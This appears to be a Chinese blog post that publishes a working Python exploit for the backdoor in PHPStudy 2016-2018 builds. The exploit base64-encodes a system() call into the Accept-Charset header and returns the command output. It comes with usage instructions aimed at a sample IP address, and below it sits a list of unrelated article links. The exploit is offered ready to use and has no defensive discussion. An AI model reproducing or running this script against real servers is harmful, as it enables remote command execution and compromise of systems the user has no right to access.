phpstudy_2016-2018_rce

phpstudy_2016-2018_rce

代码

python 复制代码
import base64
import requests
import sys

banner="""
PHPStudy_2016-2018

    ( )                  ( )        ( )                    
    | |_      _ _    ___ | |/')    _| |   _      _    _ __ 
    | '_`\  /'_` ) /'___)| , <   /'_` | /'_`\  /'_`\ ( '__)
    | |_) )( (_| |( (___ | |\`\ ( (_| |( (_) )( (_) )| |   
    (_,__/'`\__,_)`\____)(_) (_)`\__,_)`\___/'`\___/'(_)   

                                                    - Order
Usage: python *.py http://10.9.47.154/phpinfo.php whoami

"""
# 错误时的提示信息


def attack(url,cmd):           # 攻击函数体
    cmd=f"system('{cmd}');"
    # 将命令包装system()
    cmd=base64.b64encode(cmd.encode()).decode()
    # 将命令二进制编码解码以及base64编码
    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0",
        "Accept-Encoding" : "gzip,deflate",
        "Accept-Charset"  : f"{cmd}"
    }
    # 请求头信息
    res=requests.get(url=url,headers=headers)
    html=res.content.decode("GBK")
    # 使用GBK解码
    num=html.find("<!DOCTYPE html")
    # 截取命令回显部分
    result=html[:num].strip()
    return result
try:
    url=sys.argv[1]
    cmd=sys.argv[2]
    # 获取两个变量值
    attack(url,cmd)
except:
    print(banner)
    # 错误时输出banner
else:
    print(attack(url,cmd))

使用方法

复制代码
python 文件名.py 目标页面url 执行的命令
例如
python attack.py http://10.9.47.154/phpinfo.php whoami

正确执行时

错误执行时

相关推荐
醒醒该学习了!12 分钟前
如何将json文件转成csv文件(python代码实操)
服务器·python·json
忘忧记44 分钟前
pythonQT版本的图书管理系统
python·fastapi
一只理智恩1 小时前
AI 实战应用:从“搜索式问答“到“理解式助教“
人工智能·python·语言模型·golang
Katecat996631 小时前
输液泵设备检测与识别基于改进YOLO11模型的实现详解_ETB
python
Sirius.z1 小时前
第T7周:咖啡豆识别
python
yao12497364732 小时前
【无标题】
python·synergy·deskflow·键鼠共享·hyprland·niri
workflower2 小时前
原子需求的属性
python·测试用例·需求分析·软件需求
尘缘浮梦2 小时前
协程asyncio入门案例 2
开发语言·python
kronos.荒2 小时前
滑动窗口+哈希表:最小覆盖子串
数据结构·python·散列表
AC赳赳老秦2 小时前
文旅AI趋势:DeepSeek赋能客流数据,驱动2026智慧文旅规模化跃迁
人工智能·python·mysql·安全·架构·prometheus·deepseek